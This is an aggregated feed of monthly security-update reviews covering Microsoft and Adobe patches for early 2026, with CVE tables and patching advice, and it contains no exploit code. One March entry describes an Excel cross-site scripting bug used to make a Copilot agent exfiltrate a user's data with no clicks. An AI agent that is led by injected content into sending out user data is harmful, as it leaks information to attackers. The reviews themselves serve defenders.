CVE-2026-20846 GDI+ Denial of Service Vulnerability Important 7.5 No No DoS
CVE-2026-21523 GitHub Copilot and Visual Studio Code Remote Code Execution Vulnerability Important 8 No No RCE
CVE-2026-21518 GitHub Copilot and Visual Studio Code Security Feature Bypass Vulnerability Important 6.5 No No SFB
CVE-2026-21257 GitHub Copilot and Visual Studio Elevation of Privilege Vulnerability Important 8 No No EoP
CVE-2026-21256 GitHub Copilot and Visual Studio Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2026-21516 GitHub Copilot for Jetbrains Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2026-21253 Mailslot File System Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-21537 † Microsoft Defender for Endpoint Linux Extension Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2026-21259 Microsoft Excel Elevation of Privilege Vulnerability Important 7.3 No No EoP
CVE-2026-21258 Microsoft Excel Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-21261 Microsoft Excel Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-21527 Microsoft Exchange Server Spoofing Vulnerability Important 6.5 No No Spoofing
CVE-2026-21260 Microsoft Outlook Spoofing Vulnerability Important 7.5 No No Spoofing
CVE-2026-21229 Power BI Remote Code Execution Vulnerability Important 8 No No RCE
CVE-2026-21236 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-21238 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-21241 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-21517 Windows App for Mac Installer Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-21234 Windows Connected Devices Platform Service Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-21235 Windows Graphics Component Elevation of Privilege Vulnerability Important 7.3 No No EoP
CVE-2026-21246 Windows Graphics Component Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-21232 Windows HTTP.sys Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-21240 Windows HTTP.sys Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-21250 Windows HTTP.sys Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-21244 Windows Hyper-V Remote Code Execution Vulnerability Important 7.3 No No RCE
CVE-2026-21247 Windows Hyper-V Remote Code Execution Vulnerability Important 7.3 No No RCE
CVE-2026-21248 Windows Hyper-V Remote Code Execution Vulnerability Important 7.3 No No RCE
CVE-2026-21255 Windows Hyper-V Security Feature Bypass Vulnerability Important 8.8 No No SFB
CVE-2026-21231 Windows Kernel Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-21239 Windows Kernel Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-21245 Windows Kernel Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-21222 Windows Kernel Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-21243 Windows Lightweight Directory Access Protocol (LDAP) Denial of Service Vulnerability Important 7.5 No No DoS
CVE-2026-20841 Windows Notepad App Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2026-21249 Windows NTLM Spoofing Vulnerability Important 3.3 No No Spoofing
CVE-2026-21508 Windows Storage Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-21237 Windows Subsystem for Linux Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-21242 Windows Subsystem for Linux Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-1861 * Chromium: CVE-2026-1861 Heap buffer overflow in libvpx High N/A No No RCE
CVE-2026-1862 * Chromium: CVE-2026-1862 Type Confusion in V8 High N/A No No RCE
CVE-2026-0391 Microsoft Edge (Chromium-based) for Android Spoofing Vulnerability Moderate 6.5 No No Spoofing

* Indicates this CVE had been released by a third party and is now being included in Microsoft releases.

† Indicates further administrative actions are required to fully address the vulnerability.

 

Moving on to the Critical-rated bugs, the patch for Azure Front Door sounds frightening, but Microsoft has already fixed the bug and is just now documenting it. That’s also true for the bugs in Azure Arc and Azure Function. There are two Critical-rated bugs in the ACI Confidential Containers. The first allows a container escape while the second discloses secret tokens and keys. Either way, you’ll want to handle those quickly.

Taking a look at the other code execution vulnerabilities in this month’s release, we start with a frightening looking bug in Azure SDK for Python that has the highest CVSS this month of 9.8. A remote, unauthenticated attacker code gain code execution on an affected system via a maliciously crafted continuation token. It’s not clear why this isn’t rated Critical, but I would treat it as such. The three bugs in Hyper-V are actually local open-and-own bugs that require a user to open a malicious file on an affected system. That’s also true for the bug in Notepad. The bug in Power BI is confusing, because Microsoft says it requires authentication and could lead to an attacker running code as an authenticated user. There’s the poorly named “Azure Local Remote Code Execution Vulnerability”, but it requires a machine-in-the-middle (MitM) to exploit. The bug in Defender for Endpoint Linux is restricted to local subnets, but you’ll need to enable auto provisioning to get the patch. The final code execution bugs addressed this month are in GitHub Copilot. Two are command injections and the other is a Time-of-check time-of-use (toctou) race condition, but both could end up in code execution on affected systems.

Patches for Elevation of Privilege (EoP) bugs make up nearly 50% of this release, but most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges. There are only two of note. The first is a command injection bug in GitHub Copilot that leads to executing code at the level of the targeted application. The second is a bug in a kernel that leads to SYSTEM but could also be used for a sandbox escape.

There’s a unusually high number of spoofing bugs in this month’s release, and the ones for Outlook are the most troubling. First, the Preview Pane is an attack vector. Secondly, the bugs could be used to relay NTLM credentials via just an email, which could result in credential disclosure. And you’ll need multiple patches to fully address these bugs. At least they can be applied in any order.  There’s a UI misrepresentation bug in Exchange Server that could allow an attacker to either view some sensitive information or “make changes to disclosed information”. At what point does data become disclosed? That odd phrasing makes me think they are using AI to right some of their descriptions. The phrasing also appears in the patch for NTLM. That bug is triggered by opening a specially crafted Office doc, and while they explicitly say it could be used to relay NTLM creds, it sure seems that way. The patch for .NET and Visual Studio fixes a bug that allows attackers to bypass header validation, resulting in the service accepting a message it should reject. Finally, the bug in Azure HDInsight is really just a cross-site scripting (XSS) bug. The caveat here is that you need to restart Ambari server in both of the head nodes to have this fix updated. There is also an XSS in Azure Devops Server, but at least it is labelled as such.

There are a couple of additional security feature bypass bugs to discuss. The first is in Hyper-V and bypasses the Virtualization-based Security feature. The other is in GitHub Copilot and Visual Studio Code. It’s another command injection, but this one can be used to bypass authentication. Neat.

Looking at the remaining info disclosure bugs getting patched this month, most simply result in info leaks consisting of unspecified memory contents or memory addresses. The exception is the bug in Azure IoT Explorer. This bug could be used to view the contents of the target user’s local file system.

We end this month’s release with two DoS bugs: one in LDAP and one in GDI+. Neither descriptions from Microsoft provide any usable information.

No new advisories are being released this month.

Looking Ahead

I plan on being back home for the March release but wherever I’m at, you can rest assured that March 10, I’ll be here to provide my assessment of the release. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!

]]> <![CDATA[The March 2026 Security Update Review]]> https://tsecurity.de/de/3694472/it-security-nachrichten/the-march-2026-security-update-review/ https://tsecurity.de/de/3694472/it-security-nachrichten/the-march-2026-security-update-review/ Sat, 25 Jul 2026 19:00:43 +0200 📰 IT Security Nachrichten tsecurity.de I am back in the friendly confines of the Mid-South headquarters of TrendAI ZDI (a.k.a. my home office), and am all set for the third patch Tuesday of 2026. Take a break from your regularly scheduled activities and let’s take a look at the latest security patches from Adobe and Microsoft.If you’d rather watch the full video recap covering the entire release, you can check it out here:

Adobe Patches for March 2026

For March, Adobe released eight bulletins addressing 80 unique CVEs in Adobe Acrobat Reader, Commerce, Illustrator, Substance 3D Painter, Premier Pro, Experience Manager, Substance 3D Stager, and the Adobe DNG Software Development Kit (SDK). Two of these bugs were submitted through the TrendAI ZDI program. If you need to prioritize, the update for Acrobat likely has the most impact, with the patch fixing two Critical-rated and one Important bugs. The fix for Experience Manager is the largest this month with 33 CVEs addressed. However, these are simple cross-site scripting (XSS) bugs, so it’s not too exciting. The fix for Commerce is also quite large with 19 CVEs. Most of these are also XSS bugs, but there’s a few security feature bypass bugs in there, too. Adobe actually gives this patch a deployment priority of 2, but it’s not under active attack at the time of release.

The fix for Illustrator corrects seven bugs, including a few Critical-rated ones. The patch for Substance 3D Painter fixes nine different CVEs, all rated Important. That’s not the case for Substance 3D Stager, which fixes six different Critical bugs that could lead to arbitrary code execution. The patch for the Adobe DNG Software Development Kit (SDK) addresses one Critical and one Important bug. Finally, the update for Premiere Pro correct a single, Critical-rated bug that could lead to arbitrary code execution.

None of the bugs fixed by Adobe this month are listed as publicly known or under active attack at the time of release, and beyond the update for Commerce, all of the other updates released by Adobe this month are listed as deployment priority 3.

Microsoft Patches for March 2026

This month, Microsoft released 84 new CVEs in Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, SQL Server, Hyper-V Server, and the Windows Resilient File System (ReFS). Counting the third-party and Chromium updates listed in the release, it brings to total number of CVEs to 94. Five of these bugs were reported through the TrendAI ZDI program. Eight of these bugs are rated Critical, and the rest are rated Important in severity.

This volume is relatively typical for a March release, and the lack of bugs under active attack is a nice change from last month. There are two vulnerabilities listed as publicly known at the time of release, but none listed as actively exploited.

Let’s take a closer look at some of the more interesting updates for this month, starting with a bug with an AI slant:

-    CVE-2026-26144 - Microsoft Excel Information Disclosure Vulnerability
This is a fascinating bug and an attack scenario we’re likely to see more often. The vulnerability is a simple cross-site scripting (XSS) bug in Excel, but an attacker could use it to cause the Copilot Agent to exfiltrate data off the target. This essentially makes it a zero-click information disclosure. Although not stated, the disclosure is likely at the level of the logged-on user, so there isn’t a privilege escalation component. Info disclosures rarely get rated Critical, but it makes sense here.

-    CVE-2026-26110/CVE-2026-26113 - Microsoft Office Remote Code Execution Vulnerability
Another month and another pair of Office bugs where the Preview Pane is an exploit vector. I’ve lost count of how many of these bugs have been patched over the last year, but it’s just a matter of time until they start appearing in active exploits. The latest versions of Outlook allow you to hide the Preview Pane, but it isn’t clear if this would mitigate these attacks. The best option is still to test and deploy the update, but considering how many of these patches exist, it’s likely further updates will be needed to fully address these issues.

-    CVE-2026-23669 - Windows Print Spooler Remote Code Execution Vulnerability
Just reading the title makes me twitch with remembrances of Print Nightmare from a few years ago. This bug works in the same manner as those exploits. An authenticated attacker sends specially crafted messages to an affected system to gain arbitrary code execution. No user interaction is required. Let’s hope we don’t end up in a new nightmare of spooler exploits. Test and deploy this one quickly.

-    CVE-2026-23668 - Windows Graphics Component Elevation of Privilege Vulnerability
This vulnerability was submitted to the ZDI program by Marcin Wiązowski as two separate bugs, and it demonstrates the need for variant investigations when creating security patches. Both cases are caused by the lack of proper locking when performing operations on an object. However, in one case, it’s in the cdd.dll driver while the other is in the win32kfull driver. Either way, an attacker could use these to elevate privileges to SYSTEM and execute arbitrary code. Since the fix for both is to add object locking to the GDI object, the cases are combined into a single CVE. That’s not a problem, but it does show how variants can occur, and fixes should be as broad as possible.

Here’s the full list of CVEs released by Microsoft for March 2026:

<![if supportMisalignedColumns]> <![endif]>
CVE Title Severity CVSS Public Exploited Type
CVE-2026-26127 .NET Denial of Service Vulnerability Important 7.5 Yes No DoS
CVE-2026-21262 SQL Server Elevation of Privilege Vulnerability Important 8.8 Yes No EoP
CVE-2026-23651 Microsoft ACI Confidential Containers Elevation of Privilege Vulnerability Critical 6.7 No No EoP
CVE-2026-26124 Microsoft ACI Confidential Containers Elevation of Privilege Vulnerability Critical 6.7 No No EoP
CVE-2026-26122 Microsoft ACI Confidential Containers Information Disclosure Vulnerability Critical 6.5 No No Info
CVE-2026-21536 Microsoft Devices Pricing Program Remote Code Execution Vulnerability Critical 9.8 No No RCE
CVE-2026-26144 Microsoft Excel Information Disclosure Vulnerability Critical 7.5 No No Info
CVE-2026-26110 Microsoft Office Remote Code Execution Vulnerability Critical 8.4 No No RCE
CVE-2026-26113 Microsoft Office Remote Code Execution Vulnerability Critical 8.4 No No RCE
CVE-2026-26125 Payment Orchestrator Service Elevation of Privilege Vulnerability Critical 8.6 No No EoP
CVE-2026-26131 .NET Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-25177 Active Directory Domain Services Elevation of Privilege Vulnerability Important 8.8 No No EoP
CVE-2026-26117 Arc Enabled Servers - Azure Connected Machine Agent Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-26130 ASP.NET Core Denial of Service Vulnerability Important 7.5 No No DoS
CVE-2026-23661 Azure IoT Explorer Information Disclosure Vulnerability Important 7.5 No No Info
CVE-2026-23662 Azure IoT Explorer Information Disclosure Vulnerability Important 7.5 No No Info
CVE-2026-23664 Azure IoT Explorer Information Disclosure Vulnerability Important 7.5 No No Info
CVE-2026-26121 Azure IOT Explorer Spoofing Vulnerability Important 7.5 No No Spoofing
CVE-2026-26118 Azure MCP Server Tools Elevation of Privilege Vulnerability Important 8.8 No No EoP
CVE-2026-23667 Broadcast DVR Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-25190 GDI Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-25181 GDI+ Information Disclosure Vulnerability Important 7.5 No No Info
CVE-2026-26030 * GitHub: CVE-2026-26030 Microsoft Semantic Kernel InMemoryVectorStore filter functionality vulnerable Important 9.9 No No RCE
CVE-2026-23654 * GitHub: Zero Shot SCFoundation Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2026-26141 Hybrid Worker Extension (Arc-enabled Windows VMs) Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-23665 † Linux Azure Diagnostic extension (LAD) Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-23674 MapUrlToZone Security Feature Bypass Vulnerability Important 7.5 No No SFB
CVE-2026-26123 Microsoft Authenticator Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-26148 † Microsoft Azure AD SSH Login extension for Linux Elevation of Privilege Vulnerability Important 8.1 No No EoP
CVE-2026-25167 Microsoft Brokering File System Elevation of Privilege Vulnerability Important 7.4 No No EoP
CVE-2026-26107 Microsoft Excel Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-26108 Microsoft Excel Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-26109 Microsoft Excel Remote Code Execution Vulnerability Important 8.4 No No RCE
CVE-2026-26112 Microsoft Excel Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-26134 Microsoft Office Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-26106 Microsoft SharePoint Server Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2026-26114 Microsoft SharePoint Server Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2026-26105 Microsoft SharePoint Server Spoofing Vulnerability Important 8.1 No No Spoofing
CVE-2026-24283 Multiple UNC Provider Kernel Driver Elevation of Privilege Vulnerability Important 8.8 No No EoP
CVE-2026-25165 Performance Counters for Windows Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-24282 Push message Routing Service Elevation of Privilege Vulnerability Important 5.5 No No Info
CVE-2026-26115 SQL Server Elevation of Privilege Vulnerability Important 8.8 No No EoP
CVE-2026-26116 SQL Server Elevation of Privilege Vulnerability Important 8.8 No No EoP
CVE-2026-20967 System Center Operations Manager (SCOM) Elevation of Privilege Vulnerability Important 8.8 No No EoP
CVE-2026-24285 Win32k Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-24291 Windows Accessibility Infrastructure (ATBroker.exe) Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-25186 Windows Accessibility Infrastructure (ATBroker.exe) Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-23660 † Windows Admin Center in Azure Portal Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-24293 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-25176 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-25178 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-25179 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-23656 Windows App Installer Spoofing Vulnerability Important 5.9 No No Spoofing
CVE-2026-25171 Windows Authentication Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-23671 Windows Bluetooth RFCOM Protocol Driver Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-24292 Windows Connected Devices Platform Service Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-24295 Windows Device Association Service Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-24296 Windows Device Association Service Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-25189 Windows DWM Core Library Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-25174 Windows Extensible File Allocation Table Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-25168 Windows Graphics Component Denial of Service Vulnerability Important 6.2 No No DoS
CVE-2026-25169 Windows Graphics Component Denial of Service Vulnerability Important 6.2 No No DoS
CVE-2026-23668 Windows Graphics Component Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-25180 Windows Graphics Component Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-25170 Windows Hyper-V Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-24297 Windows Kerberos Security Feature Bypass Vulnerability Important 6.5 No No SFB
CVE-2026-24287 Windows Kernel Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-24289 Windows Kernel Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-26132 Windows Kernel Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-24288 Windows Mobile Broadband Driver Remote Code Execution Vulnerability Important 6.8 No No RCE
CVE-2026-25175 Windows NTFS Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-23669 Windows Print Spooler Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2026-24290 Windows Projected File System Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-23673 Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-25172 Windows Routing and Remote Access Service (RRAS) Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2026-25173 Windows Routing and Remote Access Service (RRAS) Remote Code Execution Vulnerability Important 8 No No RCE
CVE-2026-26111 Windows Routing and Remote Access Service (RRAS) Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2026-25185 Windows Shell Link Processing Spoofing Vulnerability Important 5.3 No No Spoofing
CVE-2026-24294 Windows SMB Server Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-26128 Windows SMB Server Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-25166 Windows System Image Manager Assessment and Deployment Kit (ADK) Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-25188 Windows Telephony Service Elevation of Privilege Vulnerability Important 8.8 No No EoP
CVE-2026-23672 Windows Universal Disk Format File System Driver (UDFS) Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-25187 Winlogon Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-3536 * Chromium: CVE-2026-3536 Integer overflow in ANGLE Critical N/A No No RCE
CVE-2026-3538 * Chromium: CVE-2026-3538 Integer overflow in Skia Critical N/A No No RCE
CVE-2026-3539 * Chromium: CVE-2026-3539 Object lifecycle issue in DevTools High N/A No No RCE
CVE-2026-3540 * Chromium: CVE-2026-3540 Inappropriate implementation in WebAudio High N/A No No RCE
CVE-2026-3541 * Chromium: CVE-2026-3541 Inappropriate implementation in CSS High N/A No No RCE
CVE-2026-3542 * Chromium: CVE-2026-3542 Inappropriate implementation in WebAssembly High N/A No No RCE
CVE-2026-3543 * Chromium: CVE-2026-3543 Inappropriate implementation in V8 High N/A No No RCE
CVE-2026-3544 * Chromium: CVE-2026-3544 Heap buffer overflow in WebCodecs High N/A No No RCE
CVE-2026-3545 * Chromium: CVE-2026-3545 Insufficient data validation in Navigation High N/A No No RCE

* Indicates this CVE had been released by a third party and is now being included in Microsoft releases.

† Indicates further administrative actions are required to fully address the vulnerability.

 

Looking at the other Critical-rated bugs in this month’s release, they are all cloud-native and require no user action. Microsoft has already remediated the vulnerabilities.

Moving on to the other code execution bugs, the vulnerabilities in SharePoint Server pop out first. Both require authentication, but it’s essentially the lowest level of authentication, so these would be ideal cases for lateral movement within an enterprise. There are the standard open-and-own cases within Office components. There an interesting sounding bug in the Windows Mobile Broadband Driver that requires physical access, but Microsoft doesn’t elaborate on the attack scenario beyond that fact. The bug in the System Image Manager Assessment and Deployment Kit (ADK) requires authentication. The bug in GDI requires user interaction. The remaining code execution bugs are in the RRAS protocol. We’ve seen bugs in this component in the past, but never in the wild. I wouldn’t ignore these, but I wouldn’t rush them out either.

Similar to last month, updates for Elevation of Privilege (EoP) bugs make up nearly half of this month’s release. And as we saw last month, but most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges. The bugs in SQL Server allow attackers to elevate to SQL sysadmin privileges. The bug in the Azure MCP Server is more complex. It allows attackers to obtain the permissions associated with the MCP Server’s managed identity, which lets them perform actions that the managed identity is able to reach. The bug in the Azure AD SSH Login extension for Linux leads to root access, and it won’t be easy to patch. You’ll need to run the update instructions from the command line on each affected system. That’s the same case for the bug in the Linux Azure Diagnostic extension (LAD). There’s an odd bug in the Hybrid Worker Extension (Arc‑enabled Windows VMs) that leads to “ELEVATED” privileges, which is something I’ve never seen before. The bug in the Broadcast DVR component allows an attacker to go from low integrity level up to medium. There’s a bug listed as an EoP in the Push message Routing Service, but reading the description, Microsoft notes it could lead to an information disclosure. It’s likely this is an error and should be an Information Disclosure bug. The final EoP is in the Azure Portal Windows Admin Center and leads to SYSTEM. However, there’s no patch to remediate this bug. Instead, you need to install the latest version of the Windows Admin Center extension through the Azure Portal by hand.

There are two security feature bypass patches in the March release. The first is a bypass of the MapURLToZone method, which (as expected) allows attackers to bypass MapURLToZone protections. The third bypass is in Kerberos and could allow an attacker to either view some sensitive information or make changes to “disclosed” information. This is a race condition that occurs while the group policy is being reapplied, so the window to exploit this would be extremely small.

Looking at the remaining info disclosure bugs getting patched this month, only two result in info leaks consisting of unspecified memory contents or memory addresses. Ther others provide more interesting results. There are three bugs in the Azure IoT Explorer have some wide-ranging implications. According to Microsoft, exploitation could result in, “device connection information, authentication tokens, request data, file paths, and other information transmitted between the application and the IoT Hub.” The bug in Authenticator almost reads like a security feature bypass, as exploit results in the disclosure of a one‑time sign‑in code or authentication deep link. The attacker would receive the sign‑in information and could potentially use it to authenticate as the user, allowing access to information or services available to that account. The last info disclosure bug is in the Accessibility Infrastructure and allows an attacker to gain secrets or privileged information belonging to the user of the affected application.

There are only four spoofing bugs in the March release. The first is in SharePoint server and manifests as an XSS. The second bug is a Server-Side Request Forgery (SSRF) in the Azure IoT Explorer. The remaining two are a bit more cryptic. The bug in Windows Shell Link Processing results from the “exposure of sensitive information to an unauthorized actor,” and could lead to spoofing. That sounds like credential exposure, but it’s not explicitly called out. The final spoofing bug results from the insufficient verification of data authenticity in Windows App Installer. Again, this sounds vaguely like credential reflection, but without further information, we can only speculate.

Finally, there are four denial-of-service (DoS) bugs in the release, including one that’s listed as publicly known in the .NET Framework. As usual, Microsoft provides no actionable information about these bugs.

No new advisories are being released this month.

Looking Ahead

I plan on being at RSA for the first time in my career, so if you’re around, please stop by and say hello. I like it when people say hello. Otherwise, I’ll be back on April 14 with my assessment of that patch Tuesday release. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!

]]> <![CDATA[The April 2026 Security Update Review]]> https://tsecurity.de/de/3694470/it-security-nachrichten/the-april-2026-security-update-review/ https://tsecurity.de/de/3694470/it-security-nachrichten/the-april-2026-security-update-review/ Sat, 25 Jul 2026 19:00:42 +0200 📰 IT Security Nachrichten tsecurity.de It’s time once again for Patch Tuesday, and this one is huge. We’ve also got multiple exploits in the wild, which adds another layer of urgency to this month’s release. Take a break from your regularly scheduled activities, and let’s take a look at the latest security patches from Adobe and Microsoft. If you’d rather watch the full video recap covering the entire release, you can check it out here:

Adobe Patches for April 2026

For April, Adobe released 12 bulletins addressing 61 unique CVEs in Adobe Acrobat Reader, InDesign, InCopy, FrameMaker, Connect, ColdFusion, Bridge, Photoshop, Illustrator, Experience Manager Screens, and the Adobe DNG SDK. Three of the Cold Fusion bugs came through the TrendAI ZDI program. For this month, I’m introducing an Adobe table as well. I’d love to get your feedback on whether this is helpful.

Bulletin ID Product CVE Count Highest Severity Highest CVSS Exploited Deployment Priority
APSB26-43 Adobe Acrobat Reader 1 Critical 8.6 Yes 1
APSB26-44 Adobe Acrobat Reader 2 Critical 8.6 No 2
APSB26-32 Adobe InDesign 9 Critical 7.8 No 3
APSB26-33 Adobe InCopy 2 Critical 7.8 No 3
APSB26-36 Adobe FrameMaker 11 Critical 8.6 No 3
APSB26-37 Adobe Connect 9 Critical 9.6 No 3
APSB26-38 Adobe ColdFusion 7 Critical 9.3 No 1
APSB26-39 Adobe Bridge 6 Critical 7.8 No 3
APSB26-40 Adobe Photoshop 1 Critical 7.8 No 3
APSB26-42 Adobe Illustrator 1 Critical 7.8 No 3
APSB26-34 Adobe Experience Manager Screens 9 Important 5.4 No 3
APSB26-41 Adobe DNG SDK 3 Important 5.5 No 3

Obviously, the active attack in Reader is the highest priority for this month, but don’t ignore the second bunch of Reader patches. Cold Fusion also gets a deployment priority of 1, so if you’re still running that platform, make sure you get the update. Otherwise, the FrameMaker and Connect patches fix 11 and nine bugs, respectively. InDesign and Experience Manager Screens also have nine CVEs addressed.

Outside of the Reader bug, none of the other bugs fixed by Adobe this month are listed as publicly known or under active attack at the time of release. One of the Reader bugs and Cold Fusion have a deployment priority of one, the other Reader bug has a priority of two, while all of the other updates released by Adobe this month are listed as deployment priority 3.

Microsoft Patches for April 2026

This month, Microsoft released a monstrous 163 new CVEs in Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, SQL Server, Hyper-V Server, BitLocker, and the Windows Wallet Service. Counting the third-party and a huge Chromium release, it brings the total number of CVEs to a staggering 247 updates. Six of these bugs were reported through the TrendAI ZDI program. Eight of these bugs are rated Critical, two are rated as Moderate, and the rest are rated Important in severity.

By my count, this is the second-largest monthly release in Microsoft’s history. There are many things we could speculate on to justify the size, but if Microsoft is like the other programs out there (including ours), they are likely seeing a rise in submissions found by AI tools. For us, our incoming rate has essentially tripled, making triage a challenge, to say the least. Whatever the reason, we have a lot of bugs to deal with this month. I should also point out that the Pwn2Own Berlin occurs next month, and it’s typical for vendors to patch as much as they can before the event.

There is one Microsoft bug listed as under active attack at the time of release, and one other that’s publicly known. Let’s take a closer look at some of the more interesting updates for this month, starting with the vulnerability being exploited in the wild:

-    CVE-2026-32201 - Microsoft SharePoint Server Spoofing Vulnerability
Microsoft doesn’t provide a lot of information about this bug, but Spoofing bugs in SharePoint often manifest as cross-site scripting (XSS) bugs. They do note that attackers could view information or make changes to disclosed information. As always, they don’t provide any information on how widespread these attacks are, but I wouldn’t wait to test and deploy this fix – especially if you have internet-connected SharePoint servers.

-    CVE-2026-33825 - Microsoft Defender Elevation of Privilege Vulnerability
This bug is listed as publicly known, and this time, we know exactly where it was disclosed. There have been some questions about how exploitable this bug may be, but it does look like it’s a real problem – just with some reliability issues in its current state. I won’t add on to the commentary from the researcher about working with Microsoft. I’m just glad they are offering a fix for the vulnerability. If you rely on Defender, test and deploy this one quickly.

-   CVE-2026-33827 - Windows TCP/IP Remote Code Execution Vulnerability
This vulnerability allows remote, unauthenticated attackers to exploit code on affected systems without user interaction. That adds up to a wormable bug – at least on systems with IPv6 and IPSec enabled. It is a race condition, which sets exploitability to High on the CVSS scale, but we see race conditions exploited at Pwn2Own all the time, so don’t rely on that obstacle. If you’re running IPv6, I would test and deploy this fix quickly before public exploits become available.

-    CVE-2026-33824 - Windows Internet Key Exchange (IKE) Service Extensions Remote Code Execution Vulnerability
Speaking of wormable bugs, here’s our second one this month. By the title, we can tell that systems with IKE enabled are affected, but that leaves plenty of targets for attackers. Microsoft also notes a significant mitigation for this bug. Blocking UDP ports 500 and 4500 at the perimeter prevents external attackers from reaching the affected service. However, insiders could still target this for lateral movement within an enterprise. For enterprises using IKE, get this fix tested and deployed with haste.

Here’s the full list of CVEs released by Microsoft for April 2026:

April 2026 Patch Tuesday
CVE Title Severity CVSS Public Exploited Type
CVE-2026-32201 Microsoft SharePoint Server Spoofing Vulnerability Important 6.5 No Yes Spoofing
CVE-2026-5281 * Chromium: CVE-2026-5281 Use after free in Dawn High N/A No Yes RCE
CVE-2026-33825 Microsoft Defender Elevation of Privilege Vulnerability Important 7.8 Yes No EoP
CVE-2026-23666 .NET Framework Denial of Service Vulnerability Critical 7.5 No No DoS
CVE-2026-32190 Microsoft Office Remote Code Execution Vulnerability Critical 8.4 No No RCE
CVE-2026-33114 Microsoft Word Remote Code Execution Vulnerability Critical 8.4 No No RCE
CVE-2026-33115 Microsoft Word Remote Code Execution Vulnerability Critical 8.4 No No RCE
CVE-2026-32157 Remote Desktop Client Remote Code Execution Vulnerability Critical 8.8 No No RCE
CVE-2026-33826 Windows Active Directory Remote Code Execution Vulnerability Critical 8 No No RCE
CVE-2026-33824 Windows Internet Key Exchange (IKE) Service Extensions Remote Code Execution Vulnerability Critical 9.8 No No RCE
CVE-2026-33827 Windows TCP/IP Remote Code Execution Vulnerability Critical 8.1 No No RCE
CVE-2026-26171 .NET Denial of Service Vulnerability Important 7.5 No No DoS
CVE-2026-32226 .NET Framework Denial of Service Vulnerability Important 5.9 No No DoS
CVE-2026-32178 .NET Spoofing Vulnerability Important 7.5 No No Spoofing
